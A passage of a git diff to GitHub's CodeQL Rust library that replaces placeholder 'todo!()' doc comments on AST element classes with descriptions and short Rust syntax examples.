codeql.rust.elements.AstNode import codeql.rust.elements.NameRef +/** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` + */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index b193bc2ce9c..50bf9435f1e 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -7,4 +7,13 @@ private import internal.AsmSymImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Path +/** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmSym = Impl::AsmSym; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/AssocItem.qll index 0a56f7109c3..80c1ecafd7e 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItem.qll @@ -7,9 +7,12 @@ private import internal.AssocItemImpl import codeql.rust.elements.AstNode /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ final class AssocItem = Impl::AssocItem; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index 63f568e1c25..e773f10a7d0 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index eded63ad7cc..7397e778656 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/Attr.qll b/rust/ql/lib/codeql/rust/elements/Attr.qll index c7160519253..176d8987f7f 100644 --- a/rust/ql/lib/codeql/rust/elements/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/Attr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Meta /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ final class Attr = Impl::Attr; diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 14464283aa8..38518459692 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.GenericParamList /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/Const.qll b/rust/ql/lib/codeql/rust/elements/Const.qll index 12fde1ef28b..b4c65207608 100644 --- a/rust/ql/lib/codeql/rust/elements/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/Const.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ final class Const = Impl::Const; diff --git a/rust/ql/lib/codeql/rust/elements/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/ConstArg.qll index c48b43b3157..8596d4cfd7c 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.GenericArg /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ final class ConstArg = Impl::ConstArg; diff --git a/rust/ql/lib/codeql/rust/elements/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/ConstParam.qll index ad7ff707272..c0135100863 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.Name import codeql.rust.elements.TypeRepr /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ final class ConstParam = Impl::ConstParam; diff --git a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll index 0ddf36aced6..b6ce6419629 100644 --- a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ final class DynTraitTypeRepr = Impl::DynTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Enum.qll b/rust/ql/lib/codeql/rust/elements/Enum.qll index eb3801611cb..3901b382723 100644 --- a/rust/ql/lib/codeql/rust/elements/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/Enum.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ final class Enum = Impl::Enum; diff --git a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll index 46112c915dc..7b191ae07a6 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.ExternItemList import codeql.rust.elements.Item /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ final class ExternBlock = Impl::ExternBlock; diff --git a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll index f76857a8058..b54450cadf4 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll @@ -11,9 +11,11 @@ import codeql.rust.elements.Rename import codeql.rust.elements.Visibility /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ final class ExternCrate = Impl::ExternCrate; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/ExternItem.qll index e15a22a702d..7931ce81c40 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItem.qll @@ -7,9 +7,14 @@ private import internal.ExternItemImpl import codeql.rust.elements.AstNode /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItem = Impl::ExternItem; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll index 5047b23daee..fa6aee3d1ee 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.ExternItem /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItemList = Impl::ExternItemList; diff --git a/rust/ql/lib/codeql/rust/elements/FieldList.qll b/rust/ql/lib/codeql/rust/elements/FieldList.qll index 4821f3dcd66..d12d95eda38 100644 --- a/rust/ql/lib/codeql/rust/elements/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/FieldList.qll @@ -7,9 +7,14 @@ private import internal.FieldListImpl import codeql.rust.elements.AstNode /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ final class FieldList = Impl::FieldList; diff --git a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll index 290b9b9d8fd..78fc00024ca 100644 --- a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.RetTypeRepr import codeql.rust.elements.TypeRepr /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ final class FnPtrTypeRepr = Impl::FnPtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/ForExpr.qll index cfb2586202e..10247d0b909 100644 --- a/rust/ql/lib/codeql/rust/elements/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForExpr.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.LoopingExpr import codeql.rust.elements.Pat /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExpr = Impl::ForExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index d734fdd8253..e8097daf949 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/GenericArg.qll index 0958b33326f..39d7a3780b4 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericArg.qll @@ -7,9 +7,12 @@ private import internal.GenericArgImpl import codeql.rust.elements.AstNode /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ final class GenericArg = Impl::GenericArg; diff --git a/rust/ql/lib/codeql/rust/elements/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/GenericParam.qll index a7569c08f99..eabdd204522 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericParam.qll @@ -7,9 +7,12 @@ private import internal.GenericParamImpl import codeql.rust.elements.AstNode /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ final class GenericParam = Impl::GenericParam; diff --git a/rust/ql/lib/codeql/rust/elements/Impl.qll b/rust/ql/lib/codeql/rust/elements/Impl.qll index 868f5b6f201..a1567f31582 100644 --- a/rust/ql/lib/codeql/rust/elements/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/Impl.qll @@ -13,9 +13,13 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ final class Impl = Impl::Impl; diff --git a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll index 72aa3048363..db797ed041f 100644 --- a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class ImplTraitTypeRepr = Impl::ImplTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll index 79ff4934a56..db33570b044 100644 --- a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.InferTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ final class InferTypeRepr = Impl::InferTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index 1a8b0439695..c299b3d0b65 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.MacroItems import codeql.rust.elements.Stmt /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ final class Item = Impl::Item; diff --git a/rust/ql/lib/codeql/rust/elements/ItemList.qll b/rust/ql/lib/codeql/rust/elements/ItemList.qll index 631b875820c..fe912d5402a 100644 --- a/rust/ql/lib/codeql/rust/elements/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ final class ItemList = Impl::ItemList; diff --git a/rust/ql/lib/codeql/rust/elements/LetElse.qll b/rust/ql/lib/codeql/rust/elements/LetElse.qll index 1129ae3ff72..c1eb3df7708 100644 --- a/rust/ql/lib/codeql/rust/elements/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/LetElse.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.BlockExpr /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ final class LetElse = Impl::LetElse; diff --git a/rust/ql/lib/codeql/rust/elements/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/Lifetime.qll index 1540e02db12..5a0043dddd1 100644 --- a/rust/ql/lib/codeql/rust/elements/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/Lifetime.qll @@ -7,9 +7,12 @@ private import internal.LifetimeImpl import codeql.rust.elements.UseBoundGenericArg /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ final class Lifetime = Impl::Lifetime; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 35342e96c03..8eef36323f9 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.Lifetime /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll index f3aa605c665..c47be28fee7 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeBoundList /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ final class LifetimeParam = Impl::LifetimeParam; diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index b0985ea3fed..a458a201f61 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 3ae14a9e662..114daf294eb 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,9 +11,15 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroDef = Impl::MacroDef; diff --git a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll index 8085cabc3fe..9b063903caa 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Expr import codeql.rust.elements.MacroCall /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExpr = Impl::MacroExpr; diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index 7bb99d04ec4..db833d2a176 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.Pat /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ final class MacroPat = Impl::MacroPat; diff --git a/rust/ql/lib/codeql/rust/elements/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/MacroRules.qll index afaf41bd15a..776069c2eb9 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroRules.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroRules = Impl::MacroRules; diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 780fb3d709c..854f0b2a3f9 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.TypeRepr /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ final class MacroTypeRepr = Impl::MacroTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll index ce9b1edf329..664db7b53f2 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll @@ -9,9 +9,16 @@ import codeql.rust.elements.Attr import codeql.rust.elements.MatchArm /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ final class MatchArmList = Impl::MatchArmList; diff --git a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll index 79f90f151c9..c6963bd1bfe 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ final class MatchGuard = Impl::MatchGuard; diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index 62b8e008ef7..c1a65df5856 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/Name.qll b/rust/ql/lib/codeql/rust/elements/Name.qll index 74c74acc44d..fa81050f1c2 100644 --- a/rust/ql/lib/codeql/rust/elements/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/Name.qll @@ -7,9 +7,12 @@ private import internal.NameImpl import codeql.rust.elements.AstNode /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class Name = Impl::Name; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index ed37aa7ca32..2fdd25ae089 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -7,9 +7,12 @@ private import internal.NameRefImpl import codeql.rust.elements.UseBoundGenericArg /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ final class NameRef = Impl::NameRef; diff --git a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll index 8eec61da058..814173c4a8f 100644 --- a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.NeverTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ final class NeverTypeRepr = Impl::NeverTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParamList.qll b/rust/ql/lib/codeql/rust/elements/ParamList.qll index 4678b78c3e6..1b34446a657 100644 --- a/rust/ql/lib/codeql/rust/elements/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParamList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Param import codeql.rust.elements.SelfParam /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ final class ParamList = Impl::ParamList; diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index 60466bdc7b7..f3d9936a97d 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/ParenPat.qll index 291ddb76152..6789be94979 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenPat.qll @@ -7,9 +7,12 @@ private import internal.ParenPatImpl import codeql.rust.elements.Pat /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ final class ParenPat = Impl::ParenPat; diff --git a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll index 881d1a805fc..8379443633f 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.ParenTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ final class ParenTypeRepr = Impl::ParenTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll index d32c2bf382c..1d5b64d4d57 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll @@ -7,4 +7,18 @@ private import internal.ParenthesizedArgListImpl import codeql.rust.elements.AstNode import codeql.rust.elements.TypeArg +/** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ final class ParenthesizedArgList = Impl::ParenthesizedArgList; diff --git a/rust/ql/lib/codeql/rust/elements/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/PathSegment.qll index 5d7c2559ad2..3127947f7c3 100644 --- a/rust/ql/lib/codeql/rust/elements/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/PathSegment.qll @@ -15,5 +15,11 @@ import codeql.rust.elements.TypeRepr /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ final class PathSegment = Impl::PathSegment; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 684d4429e5f..6d6776e4eea 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -8,10 +8,10 @@ import codeql.rust.elements.Path import codeql.rust.elements.TypeRepr /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ final class PathTypeRepr = Impl::PathTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll index 219b8aad565..865e0f09756 100644 --- a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll @@ -7,9 +7,13 @@ private import internal.PtrTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ final class PtrTypeRepr = Impl::PtrTypeRepr; diff 